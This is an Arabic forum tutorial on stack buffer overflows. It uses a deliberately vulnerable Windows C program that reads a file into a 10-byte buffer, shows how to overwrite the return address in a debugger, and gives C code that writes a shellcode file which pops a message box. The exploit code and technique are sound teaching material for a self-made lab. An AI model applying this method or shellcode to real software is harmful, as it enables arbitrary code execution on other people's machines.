لبداية : ثغرات أنظمة التشغيل
لو سألت ,, هل يمكن التغيير في ملف تنفيذي وطريقة عملة ؟! أكيد ستجد الجواب نعم
والأمثلة على ذلك البرمجة العكسية والكراك والباتش .....
كل هذة الأمثلة تغير في كود الملف التنفيذي ,, والتغيير في الكود بالتأكيد يغير في طريقة عمل الملف
والآن لو سألت هذا السؤال ؟!
هل يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في كود الملف ؟؟؟؟؟!
أنا متأكد أن يكون جواب كل العقلاء والخبراء والمبرمجين هو : لالالالالا وألف لا ( يعني ماتدخل العقل )
ولكن ظهر لنا مجنون وقال ممكن ليش لا , وبدأ يبحث عن طريقة - هل تصدقون أنة وجدها
ولكن بشرط وهو حدوث خطأ , أهم شيء تعرفة في هذة المرحلة هو القانون التالي :
يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في الكود بشرط حدوث خطأ
أريد أن أسال عندما نستخدم برنامج ويحدث خطأ أين ينتقل التنفيذ ؟! هل يخرج من البرنامج ؟
ماذا لو إستطعنا التحكم في مجرى التنفيذ ووجهناة لنقطة معينة , هل المطلوب التغيير في كود البرنامج؟!
أجوبة هذة الأسئلة : لا
سؤقرب لك ما أريد إصالة : بمثال تطبيقي , أعتقد أنها أسهل طريقة
-
مثالنا الأول عبارة عن برنامج هذا البرنامج يبحث عن ملف نصي في نفس المجلد
بعد أن يجدة يقوم بقرائة محتواة وعرضها بداخل أداة نص edit او ****box
ونحن بدورنا سنقوم بالكشف عن خطأ في هذا البرنامج ومن خلال الخطأ سنبحث عن ثغرة
تمكننا من إدخال كود برمجي وتنفيذة وتغيير مجرى البرنامج ,, دون التغيير في كود البرنامج الأصلي
فقط سنغير في محتوى الملف النصي ( من خلال محرر هكس )
وسنتعرف في هذا المثال على أكثر الثغرات إنتشارا في أنظمة التشغيل وهي overflow أو أخطاء الفيض
ستجد في هذة الرابط مثالنا , البرنامج + الشفرة المصدرية ( أخرج الملفات إلى مجلد )
كود PHP:
http://www.4shared.com/file/41438045/7e44a699/myexp0a.html
عندما تشغل البرنامج ستجد أمر Read file عندما تضغط علية , فإن البرنامج يقوم بقرائة
محتويات الملف النصي info.txt هذا الملف النصي موجود في نفس مجلد البرنامج
ويعرض المحتوى داخل أداة النص , ولو ألقينا نظرة على الكود الذي يقرأ الملف( الدالة Rfile )
لوجدنا التالي:
كود PHP:
BOOL Rfile(HWND mhWnd)
{
HANDLE hfile=(HANDLE)-1;
DWORD nbt=0;
// لاحظ حجم مصفوفة الحروف
TCHAR buf[10];
hfile=CreateFile ("info.txt",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES )NULL,OPEN_EXISTING,0,NULL);
if(hfile==(HANDLE)-1)
{
MessageBox (mhWnd,"ER: CreateFile ","Error 01",MB_OK);
return 1;
}
ZeroMemory(buf,10);
ReadFile (hfile,(LPVOID)buf,
(DWORD)GetFileSize (hfile,NULL),&nbt,
(LPOVERLAPPED )NULL);
SendMessage (mEdit,WM_SET**** ,0,(LPARAM)(LPCTSTR)buf);
return 0;
}
ستلاحظ في الكود المتغير أو المصفوفة buf حجمها 10 أحرف
يقوم البرنامج بقرائة الملف النصي وتخزين محتواة في المتغير buf بعد ذلك
ينقل إلى الأداة النصية , ماذا لو كان محتوى الملف النصي أكبر من 10 أحرف
بالتأكيد سيحدث خطأ ,, سنقوم بالبحث والنبش داخل هذا الخطأ
إفتح الملف النصي وقم بكتابة أي نص أكبر من 10 أحرف , ولكن لتطبيق الدرس
من حيث تشابة العناوين والمحتوى يفضل كتابة النص التالي :
كود PHP:
fffdsdddertttttttttyyyyyyyyyyyyyyyyuuuuuuuuuuuuuuuuuuiiiiiiiiiiiiiiiiiiiiiiioooooooooooooooooooopppppppppppppp
بعد أن تكتب النص في الملف info.txt شغل البرنامج بواسطة olly لمراقبتة
ضع نقطة توقف عن العنوان 0x004013E0 يمثل بداية الدالة Rfile (دالة قرائة النص,وعرضة )
بعد أن تضع نقطة التوقف شغل البرنامج ونفذ Read File يتوقف التنفيذ عن نقطة التوقف
وتمثل بداية الدالة Rfile في الكود المصدري ,,,, لاحظ الصورة (خاصة قسم المكدس )
سجل العنوان الذي سيخزن بة عنوان العودة وسير التنفيذ , بعد ذلك نفذ البرنامج
خطوة , خطوة بإستخدام F8 إلى أن تصل إلى نقطة الخطأ وهي الدالة readfile
وبعد تنفيذها لا حظ التغيرات
هنا الورطة , أكيد إكتشفتها ؟؟!
ماذا لو غيرنا في الملف النصي الأحرف 13 و 14 و 15 و16 وهي "tttt"
تمثل هذة الأحرف عنوان العودة سيستخدمها المعالج لإستمرار ونقل التنفيذ , غير هذا العنوان
إلى عنوان آخر بداخل الملف النصي ,هذا العنوان يمثل كود لبرنامج مثلاً؟؟؟!!!!!!!!!!!!!
لاحظ كيف سنغير العنوان + سنقوم بكتابة كود تنفيذي بداخل الملف النصي
بهذة الطريقة :
بعد أن تغير في العنواين , وتكتب الكود بداخل محتوى الملف النصي , تابع F8
إلى أن تصل إلى تعليمة العودة في نهاية الدالة وهي RETN وبعد ذلك سينقل المعالج
التنفيذ إلى العنوان الذي قمت بتحديدة وكتبت بة الكود التنفيذي
وبعد ذلك تتبع البرنامج F8 ولاحظ كيف سينفذ برنامجنا الكود الموجود بداخل الملف النصي
كود PHP:
http://www5.0zz0.com/2008/03/21/07/821972412.gif
وسينتقل لة التنفيذ , وبهذا نكون قد نقلنا التنفيذ دون التغيير في كود البرنامج الأصلي
وكل التغيرات والإضافات التي رأيناها كانت بداخل الملف النصي
ولأننا إستطعنا التغيير في سير التنفيذ دون التغيير في كود البرنامج , نكون قد إكتشفنا ثغرة
في البرنامج وسببها خطأ في الكود وهو عدم تحديد حجم القرائة للمتغير buf
وبعد أن نكتشف الثغرة , نقوم بكتابة ****lCode خاص بالثغرة وهو شبية بالكراك بعد كسر البرامج
ولكن ****lcode عبارة عن أرقام ثنائية 1 و0 وللتسهيل تكتب بالهكس
هذة الأرقام تكتب بداخل أي لغة برمجة مثلاً ثغرات الأنظمة تكتب ****lcode بواسطة لغة السي
ثغرات خوادم المواقع والسكربتات تكتب بلغة بيرل أو PHP أو ASP أو html
المهم أن يكون ****lcode عبارة عن أرقام بداخل هذة اللغات هذة الأرقام تمثل
كود بلغة الإسمبلي يمرر إلى الثغرة ليتم تنفيذة
والآن سنكتب برنامج بلغة السي ينتج لنا ملف نصي info.txt هذا الملف النصي مختلف
عن أي ملف نصي آخر , لأنة سيحتوي على عناوين الإنتقال لسير وتنفيذ البرنامج
بالإضافة إلى أنة سيحتوي على كود تنفيذي ( عبارة عن إظهار مسج )
وفقط بمجرد توزيع هذا الملف النصي على أي جهاز يحتوي على برنامجنا وبمجرد قرائة الملف
النصي نكون قد نفذنا أي كود أوبرنامج في الجهاز الآخر
هذا هو الكود + ****lcode
كود PHP:
#include <stdio.h>
char ****lcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA4\xFB\x12\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x6A\x00\x68\x00\x00\x00\x00\x68"
"\xC4\xFB\x12\x00\x50\xFF\x15\xA0"
"\x40\x40\x00\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"XxXx Virus.exe is loading....."
"\x00\x00\x90\x90\x90\x90";
int main()
{
FILE* hfile=NULL;
int nb;
if (!(hfile=fopen ("info.txt","w+b"))) {
printf("Error: fopen()");
return 0;
}
nb=fwrite(****lcode,sizeof(char),
sizeof(****lcode),hfile);
fclose(hfile);
printf(" -- OKKKKKKKKKK --\n");
printf(" -|- Write %d byte -|- \n",nb);
printf("-- Create info.txt Virus --\n");
return 1;
}
ملاحظة : هل تشاهد طريقة ترتيب الكود - هذة الطريقة متبعة في كل
برامج إستغلال الثغرات ,, وأي كود تراة بهذة الطريقة يعتبر ****lcode لثغرة
المهم :
نفذ البرنامج لينتج لك ملف نصي , ضعة في مجلد البرنامج
وقم بتنفيذ الدالة Rfile لتلاحظ النتيجة
وهي: تشغيل الكود أو البرنامج الموجود في الملف النصي
-
وبهذا نكون قد أخذنا كل أقسام الثغرة , وهي
البحث عن خطأ بداخل أي ملف تنفيذي
محاولة إيجاد طريقة لنقل أو تغيير مسار التنفيذ في مرحلة الخطأ
كتابة ****lcode أو كتابة كود لإستغلال والإستفادة من الثغرة
-
وبعد هذة المقدمة المهمة جداً , سنأخذ في الدرس القادم(ضمن سلسلة الدروس)
مثال متقدم لطريقة إكتشاف ثغرة وتطبيقها في نظام وندوز
بالإضافة إلى طريقة عمل أشهر الفايروسات وكيفية إستغلال الثغرات
ودخولها إلى أي جهاز فقط بمجرد الإتصال بالإنترنت